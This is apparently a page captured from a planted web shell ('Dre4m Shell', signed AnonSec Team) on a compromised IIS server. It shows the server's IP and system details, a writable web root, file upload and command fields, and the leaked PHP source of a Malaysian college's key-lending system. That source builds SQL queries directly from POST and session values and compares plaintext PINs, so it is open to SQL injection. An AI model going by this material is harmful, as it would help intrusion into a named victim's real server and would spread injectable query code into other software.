Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 18.191.212.146
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/feenixmy/kunci.feenix.my/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/feenixmy/kunci.feenix.my/wwwroot/qrpulang.php
<?php session_start();ob_start();include "conn.php";?>

<!DOCTYPE html>
<html>

<head>
<meta charset="UTF-8">
<meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0;  user-scalable=0;" name="viewport">
<?php @$_SESSION['mobile'] = "<meta content='width=device-width; initial-scale=1.0; maximum-scale=1.0;  user-scalable=0;' name='viewport'>";?>
<link rel="icon" href="img/icon_SistemMaklumatKunci.png">
<link rel="stylesheet" href="set.css" type="text/css">
<link rel="stylesheet" href="qrset.css" type="text/css">
<title>Sistem Maklumat Kunci KKS2</title>

</head>

<body>
<div align="center" class="framed">
<div class="dated"><?php include "t.php";date_default_timezone_set("Asia/Kuala_Lumpur");?></div>

<div class="greet"><?php //echo"Selamat Datang, ";if(@$_SESSION['admin']!=NULL){echo"<strong><font color='purple'>".@$_SESSION['admin']."</font></strong>";}elseif(@$_SESSION['userID']==NULL){echo"<strong><font color='purple'>STAF KOLEJ KOMUNITI SEGAMAT 2</font></strong>";}else{echo"<strong><font color='purple'>".$_SESSION['userID']."</font></strong>";}?></div>

<header><br /><br />
  <a href="Rak.php"><img src="img/SistemMaklumatKunci.png" height="60px"></a><br /><br /></header>
<h2><font color="#006600">REKOD PEMULANGAN KUNCI</font></h2>

<?php 
if(isset($_POST['qrKeluar'])){
	if(@$_POST['IDPengguna'] == NULL || @$_POST['KataLaluan'] == NULL){
		echo "<br />ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.<br />";
	}else{
		$a = mysqli_query($paut, "SELECT * FROM nms WHERE un='".@$_POST['IDPengguna']."' AND nopin='".@$_POST['KataLaluan']."'");
		while($a1=mysqli_fetch_array($a)){

		if($a1['un']!=$_POST['IDPengguna'] && $a1['nopin']!=$_POST['KataLaluan']){	
			echo "<br />ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.<br />";}
		elseif($a1['un']!=$_POST['IDPengguna'] || $a1['nopin']!=$_POST['KataLaluan']){	
			echo "<br />ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.<br />";}
		elseif($a1['un']==$_POST['IDPengguna'] && $a1['nopin']==$_POST['KataLaluan'] && $a1['ad']==1){	
			$_SESSION['admin']=$a1['Nms'];$_SESSION['UserID']=$a1['ids'];$_SESSION['A']="Pentadbir Sistem";
				
			//pulang
			$p=mysqli_query($paut,"UPDATE pnj SET Statp='1', dp='".date("d")."', mp='".date("M")."', yp='".date("Y")."', tp='".date("h:i A")."', tsp='".date("d M Y h:i A")."' WHERE id='".$_SESSION['ID']."'");
			
			$q=mysqli_query($paut,"UPDATE bil SET Stat='0' WHERE idbil='".$_SESSION['QRIDKUNCI']."'");
			
			echo "<center><strong><div style='border: 1px solid rgb(70, 70, 0); padding: 10px; background-color: rgb(235, 235, 214); margin: 10px;'><font color='GREEN'><br>".$_SESSION['admin']."</font> <font color='#000000'>telah MEMULANGKAN kunci bilik</font> <font color='GREEN'>".$_SESSION['NM']." (".$_SESSION['KOD'].")";
			
			echo "<br /><br />";
			
			echo"</font></div></strong></center>";
			
			echo "<em>This is for one-off use only. Scan QR code for next transaction</em><br /><br />";
			echo "<form name='qrlamanutama' action='Rak.php' method='post'><input title='Ke Paparan Laman Utama' class='btn-carian' name='utama' type='submit' value='Laman Utama'></form>";
			}
		elseif($a1['un']==$_POST['IDPengguna'] && $a1['nopin']==$_POST['KataLaluan'] && $a1['ad']==0){	
			$_SESSION['staf']=$a1['Nms'];$_SESSION['UserID']=$a1['ids'];
				
			//pulang
			$p=mysqli_query($paut,"UPDATE pnj SET Statp='1', dp='".date("d")."', mp='".date("M")."', yp='".date("Y")."', tp='".date("h:i A")."', tsp='".date("d M Y h:i A")."' WHERE id='".$_SESSION['ID']."'");
			
			$q=mysqli_query($paut,"UPDATE bil SET Stat='0' WHERE idbil='".$_SESSION['QRIDKUNCI']."'");
			
			echo "<center><strong><div style='border: 1px solid rgb(70, 70, 0); padding: 10px; background-color: rgb(235, 235, 214); margin: 10px;'><font color='GREEN'><br>".$_SESSION['admin']."</font> <font color='#000000'>telah MEMULANGKAN kunci bilik</font> <font color='GREEN'>".$_SESSION['NM']." (".$_SESSION['KOD'].")";
			
			echo "<br /><br />";
			
			echo"</font></div></strong></center>";
			
			echo "<em>This is for one-off use only. Scan QR code for next transaction</em><br /><br />";
			echo "<form name='qrlamanutama' action='Rak.php' method='post'><input title='Ke Paparan Laman Utama' class='btn-carian' name='utama' type='submit' value='Laman Utama'></form>";
			}
		elseif($a1['un']==$_POST['IDPengguna'] && $a1['nopin']==$_POST['KataLaluan'] && $a1['ad']==2){	
			$_SESSION['staf']=$a1['Nms'];$_SESSION['UserID']=$a1['ids'];
				
			//pulang
			$p=mysqli_query($paut,"UPDATE pnj SET Statp='1', dp='".date("d")."', mp='".date("M")."', yp='".date("Y")."', tp='".date("h:i A")."', tsp='".date("d M Y h:i A")."' WHERE id='".$_SESSION['ID']."'");
			
			$q=mysqli_query($paut,"UPDATE bil SET Stat='0' WHERE idbil='".$_SESSION['QRIDKUNCI']."'");
			
			echo "<center><strong><div style='border: 1px solid rgb(70, 70, 0); padding: 10px; background-color: rgb(235, 235, 214); margin: 10px;'><font color='GREEN'><br>".$_SESSION['admin']."</font> <font color='#000000'>telah MEMULANGKAN kunci bilik</font> <font color='GREEN'>".$_SESSION['NM']." (".$_SESSION['KOD'].")</font>";
			
			echo "<br /><br />";
			
			echo"</font></div></strong></center>";
			
			echo "<em>This is for one-off use only. Scan QR code for next transaction</em><br /><br />";
			echo "<form name='qrlamanutama' action='Rak.php' method='post'><input title='Ke Paparan Laman Utama' class='btn-carian' name='utama' type='submit' value='Laman Utama'></form>";
			}
		else{ 	
			echo"<br /><center>ID Pengguna atau Kata Laluan anda <strong><font color='RED'>SALAH</font></strong>. Sila cuba lagi.</center><br>";
			}
		}
	}
}
?>
<br />
<br />

<?php if(@$_GET['TutupBorangPulang']==NULL){?>
<form name="qrpinjaman" action="qrpulang.php?TutupBorangPulang=1" method="post">

<?php
$g = mysqli_query($paut, "SELECT * FROM bil WHERE idbil='".$_SESSION['QRIDKUNCI']."'");while($g1=mysqli_fetch_array($g)){
	$_SESSION['KOD']=$g1['Kod'];
	$_SESSION['NM']=$g1['Nm'];

	echo "Kod Kunci: <font size='4'><strong>".$g1['Kod']."</strong></font><br /><br />";	
	echo "Nama Bilik/Makmal/Bengkel: <font size='4'><strong>".$_SESSION['NM']."</strong></font><br /><br />";		
}

$j = mysqli_query($paut, "SELECT * FROM nms WHERE ids='".$_SESSION['IDS']."'");while($j1=mysqli_fetch_array($j)){
	$_SESSION['NMS']=$j1['Nms'];
	$_SESSION['NOTEL']=$j1['notel'];

	echo "Nama Peminjam: <font size='4'><strong>".$_SESSION['NMS']."</strong></font><br /><br />";		
	echo "No Telefon Peminjam: <font size='4'><strong>+".$_SESSION['NOTEL']."</strong></font>";		
}
?>
<br /><br />
<input class="carian" type="text" name="IDPengguna" size="35" placeholder="Masukkan NAMA PENGGUNA"><br /><br />
<input class="carian" type="password" name="KataLaluan" size="30" placeholder="Masukkan KATA LALUAN"><br /><br /><br />

<input class="btn-carian" name="qrReset" type="reset" value="Semula">&nbsp;&nbsp;
<input class="btn-carian3" name="qrKeluar" type="submit" value="Pulangkan Kunci">&nbsp;&nbsp;
<input title="Batal dan Tutup Tetingkap" class="btn-carian" name="qrclose" type="button" value="Batal" onClick="javascript:window.close()">
</form>
<br />
<?php }else{echo"";}?>

<?php include"qrf.php";?>

<style>
img {
    max-width: 100%;
}

.carian2{
	max-width: 100%
}

.slc-carian2{
	max-width: 100%
}
</style>

Anon7 - 2022
AnonSec Team